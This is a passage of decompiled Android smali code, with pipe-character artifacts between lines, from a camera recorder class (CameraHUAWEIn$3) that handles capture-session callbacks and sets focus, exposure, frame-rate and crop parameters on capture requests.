invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
:cond_0
|
||||
:goto_2
|
||||
const/4 p1, 0x0
|
||||
|
||||
.line 278
|
||||
:try_start_3
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->access$300(Lcom/nvav/srv/recorder/CameraHUAWEIn;)Landroid/view/Surface;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
if-eqz v0, :cond_1
|
||||
|
||||
.line 279
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->access$300(Lcom/nvav/srv/recorder/CameraHUAWEIn;)Landroid/view/Surface;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-virtual {v0}, Landroid/view/Surface;->release()V
|
||||
|
||||
.line 280
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
invoke-static {v0, p1}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->access$302(Lcom/nvav/srv/recorder/CameraHUAWEIn;Landroid/view/Surface;)Landroid/view/Surface;
|
||||
:try_end_3
|
||||
.catch Ljava/lang/Exception; {:try_start_3 .. :try_end_3} :catch_3
|
||||
|
||||
goto :goto_3
|
||||
|
||||
:catch_3
|
||||
move-exception v0
|
||||
|
||||
.line 283
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 286
|
||||
:cond_1
|
||||
:goto_3
|
||||
:try_start_4
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mOutputSurfaces:Ljava/util/List;
|
||||
|
||||
invoke-interface {v0}, Ljava/util/List;->clear()V
|
||||
|
||||
.line 287
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iput-object p1, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mOutputSurfaces:Ljava/util/List;
|
||||
:try_end_4
|
||||
.catch Ljava/lang/Exception; {:try_start_4 .. :try_end_4} :catch_4
|
||||
|
||||
goto :goto_4
|
||||
|
||||
:catch_4
|
||||
move-exception v0
|
||||
|
||||
.line 289
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 291
|
||||
:goto_4
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iput-object p1, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
.line 292
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iput-object p1, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mCamera:Landroid/hardware/camera2/CameraDevice;
|
||||
|
||||
.line 294
|
||||
:try_start_5
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->access$300(Lcom/nvav/srv/recorder/CameraHUAWEIn;)Landroid/view/Surface;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-virtual {p1, v0}, Landroid/hardware/camera2/CaptureRequest$Builder;->removeTarget(Landroid/view/Surface;)V
|
||||
|
||||
const-wide/16 v0, 0x2ee
|
||||
|
||||
.line 295
|
||||
invoke-static {v0, v1}, Ljava/lang/Thread;->sleep(J)V
|
||||
:try_end_5
|
||||
.catch Ljava/lang/Exception; {:try_start_5 .. :try_end_5} :catch_5
|
||||
|
||||
goto :goto_5
|
||||
|
||||
:catch_5
|
||||
move-exception p1
|
||||
|
||||
.line 297
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 300
|
||||
:goto_5
|
||||
:try_start_6
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mThread:Landroid/os/HandlerThread;
|
||||
|
||||
invoke-virtual {p1}, Landroid/os/HandlerThread;->interrupt()V
|
||||
:try_end_6
|
||||
.catch Ljava/lang/Exception; {:try_start_6 .. :try_end_6} :catch_6
|
||||
|
||||
goto :goto_6
|
||||
|
||||
:catch_6
|
||||
move-exception p1
|
||||
|
||||
.line 302
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 304
|
||||
:goto_6
|
||||
sget-boolean p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->Restarting:Z
|
||||
|
||||
if-eqz p1, :cond_2
|
||||
|
||||
.line 306
|
||||
:try_start_7
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
invoke-virtual {p1}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->StartRestart()V
|
||||
|
||||
const-wide/16 v0, 0xfa
|
||||
|
||||
.line 307
|
||||
invoke-static {v0, v1}, Ljava/lang/Thread;->sleep(J)V
|
||||
:try_end_7
|
||||
.catch Ljava/lang/Exception; {:try_start_7 .. :try_end_7} :catch_7
|
||||
|
||||
goto :goto_7
|
||||
|
||||
:catch_7
|
||||
move-exception p1
|
||||
|
||||
.line 309
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 311
|
||||
:goto_7
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->cafm:I
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 312
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->LENS_FOCUS_DISTANCE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->lfd:F
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Float;->valueOf(F)Ljava/lang/Float;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
const/4 p1, 0x0
|
||||
|
||||
.line 313
|
||||
sput-boolean p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->Restarting:Z
|
||||
|
||||
.line 314
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
invoke-static {p1}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->access$500(Lcom/nvav/srv/recorder/CameraHUAWEIn;)V
|
||||
|
||||
:cond_2
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onConfigureFailed(Landroid/hardware/camera2/CameraCaptureSession;)V
|
||||
.locals 1
|
||||
|
||||
.line 324
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string v0, "result=Session failed configure."
|
||||
|
||||
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onConfigured(Landroid/hardware/camera2/CameraCaptureSession;)V
|
||||
.locals 5
|
||||
|
||||
.line 218
|
||||
:try_start_0
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string v1, "result=Session configure."
|
||||
|
||||
invoke-virtual {v0, v1}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
.line 219
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
invoke-static {v0, p1}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->access$402(Lcom/nvav/srv/recorder/CameraHUAWEIn;Landroid/hardware/camera2/CameraCaptureSession;)Landroid/hardware/camera2/CameraCaptureSession;
|
||||
|
||||
.line 220
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mCamera:Landroid/hardware/camera2/CameraDevice;
|
||||
|
||||
const/4 v1, 0x3
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CameraDevice;->createCaptureRequest(I)Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
.line 221
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->access$300(Lcom/nvav/srv/recorder/CameraHUAWEIn;)Landroid/view/Surface;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-virtual {p1, v0}, Landroid/hardware/camera2/CaptureRequest$Builder;->addTarget(Landroid/view/Surface;)V
|
||||
|
||||
.line 222
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_TARGET_FPS_RANGE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
new-instance v1, Landroid/util/Range;
|
||||
|
||||
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v2, v2, Lcom/nvav/srv/recorder/CameraHUAWEIn;->CamResFPS:[Ljava/lang/String;
|
||||
|
||||
const/4 v3, 0x4
|
||||
|
||||
aget-object v2, v2, v3
|
||||
|
||||
invoke-static {v2}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
|
||||
|
||||
move-result v2
|
||||
|
||||
invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v2
|
||||
|
||||
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v3, v3, Lcom/nvav/srv/recorder/CameraHUAWEIn;->CamResFPS:[Ljava/lang/String;
|
||||
|
||||
const/4 v4, 0x5
|
||||
|
||||
aget-object v3, v3, v4
|
||||
|
||||
invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
|
||||
|
||||
move-result v3
|
||||
|
||||
invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
invoke-direct {v1, v2, v3}, Landroid/util/Range;-><init>(Ljava/lang/Comparable;Ljava/lang/Comparable;)V
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 223
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
invoke-static {p1}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->access$500(Lcom/nvav/srv/recorder/CameraHUAWEIn;)V
|
||||
|
||||
.line 224
|
||||
sget-boolean p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->Restarting:Z
|
||||
|
||||
if-eqz p1, :cond_0
|
||||
|
||||
.line 225
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->SCALER_CROP_REGION:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->rect:Landroid/graphics/Rect;
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 226
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_EXPOSURE_COMPENSATION:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->aec:I
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 227
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_EFFECT_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->cem:I
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 228
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_REGIONS:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->cafr:[Landroid/hardware/camera2/params/MeteringRectangle;
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 229
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->SENSOR_SENSITIVITY:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->ss:I
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 230
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->SENSOR_FRAME_DURATION:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->sfd:Ljava/lang/Long;
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 231
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->SENSOR_EXPOSURE_TIME:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->set:Ljava/lang/Long;
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 232
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->cafm:I
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 233
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->caem:I
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 234
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_TRIGGER:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->caft:I
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 235
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
invoke-static {p1}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->access$500(Lcom/nvav/srv/recorder/CameraHUAWEIn;)V
|
||||
:try_end_0
|
||||
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
|
||||
|
||||
goto :goto_0
|
||||
|
||||
:catch_0
|
||||
move-exception p1
|
||||
|
||||
.line 238
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
:cond_0
|
||||
:goto_0
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onReady(Landroid/hardware/camera2/CameraCaptureSession;)V
|
||||
.locals 2
|
||||
|
||||
.line 319
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string v0, "result=Session ready."
|
||||
|
||||
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
.line 320
